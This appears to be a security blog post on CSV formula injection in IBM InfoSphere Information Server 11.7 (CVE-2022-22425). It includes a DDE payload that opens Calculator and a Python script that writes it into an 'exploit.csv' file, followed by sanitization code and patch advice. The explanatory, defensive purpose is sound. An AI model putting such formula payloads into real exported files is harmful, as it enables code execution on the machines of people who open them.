CSV (Comma-Separated Values) files are one of the simplest and most common ways to share tabular data. But with this simplicity comes a severe security risk known as CSV Injection. In 2022, IBM InfoSphere Information Server version 11.7 was caught with just this kind of vulnerability—cataloged as CVE-2022-22425 and tracked by IBM X-Force ID 223598.

In this post, you’ll learn what CSV Injection is, how this flaw affects InfoSphere Information Server, and see a demonstration with example code. We'll keep it simple and practical so you know exactly what’s at stake and how attackers might try to exploit it.

What Is CSV Injection?

CSV Injection—sometimes called Formula Injection—happens when an application exports untrusted user input into a CSV file without proper validation. If the values begin with certain characters (like =, +, -, or @), spreadsheet software like Microsoft Excel or Google Sheets will treat them as formulas and may execute them. This means that if an attacker sneaks in commands, anyone opening the file can unknowingly trigger malicious code.

Why does this matter?  
If this attack is successful, it could allow a remote hacker to steal information, run arbitrary code, or compromise the victim’s system just by getting them to open a malicious spreadsheet.

CVE-2022-22425: IBM InfoSphere Vulnerable

IBM InfoSphere Information Server 11.7 did not properly validate data saved into CSV files. Imagine a system where you export user-entered data for reporting, and someone puts malicious formula code in their entries. When someone in your company opens that CSV in Excel, the attack triggers immediately.

Official IBM advisory: Security Bulletin: InfoSphere CSV Injection  
X-Force details: IBM X-Force Exchange: 223598

1. Attacker Enters Malicious Data

Say the attacker fills out a registration form, and puts the following value in the “Last Name” field:

=cmd|'/C calc'!A

This is a classic Windows exploit formula that tries to open Calculator as a proof-of-concept.

The InfoSphere system exports this data, and a line in the CSV looks like this

John,=cmd|'/C calc'!A,john@example.com

3. Unsuspecting User Opens File

A company staff member downloads and opens this CSV file in Excel. Because Excel recognizes values starting with =, +, -, or @ as formulas, the following can happen upon opening:

Excel prompts about security risk. If user clicks "Enable Content," the formula runs.

- The calc app (Calculator) opens—a harmless but clear demonstration that code execution is possible.

4. Real-World Impact

Think of the potential: instead of calc, an attacker could use commands to steal files, exfiltrate data, or download malware.

Here’s how an attacker could automate CSV Injection using Python

import csv

malicious_input = "=cmd|' /C calc'!A"

data = [
    ['First Name', 'Last Name', 'Email'],
    ['John', malicious_input, 'john@example.com']
]

with open('exploit.csv', 'w', newline='') as f:
    writer = csv.writer(f)
    writer.writerows(data)

print("Malicious CSV file created as exploit.csv")

When exploit.csv is opened in Excel and macros or external programs are allowed, the formula triggers.

Attack Type: Remote; attacker only needs the victim to open a generated CSV file.

- Prerequisites: Application must export untrusted input to CSV. Victim must open the file in Excel (or similar) and potentially click “Enable Content.”

Defense: How to Fix

The safest way to prevent this is to “sanitize” any data exported to CSV files. Specifically, escape or remove any values starting with =, +, -, or @. IBM addressed this with patches, but you can also implement filtering at the application level.

Sanitization Example (Python)

def sanitize_csv_field(field):
    if field.startswith(('=', '+', '-', '@')):
        return "'" + field  # Prepend a single quote, making it a text cell
    return field

IBM’s Response

IBM responded by publishing a patch and security bulletin. If you use InfoSphere Information Server 11.7, update your server immediately.

References

- IBM Security Bulletin for CVE-2022-22425
- IBM X-Force Exchange Vulnerability DB
- OWASP CSV Injection
- CSV Injection by Bence Arató – Blog Post

Conclusion

CVE-2022-22425 shows how something as simple as a spreadsheet export can become a security nightmare if you don’t sanitize your data. Always handle CSV exports with care, strip or escape dangerous characters, and patch your software when vendors like IBM issue security advisories.

Stay safe—with CSV files and everything else!

Exclusive to this blog post. For more details, check the references above. If you're an IBM InfoSphere administrator, patch now!

Timeline

Published on: 11/03/2022 20:15:00 UTC
Last modified on: 11/04/2022 14:05:00 UTC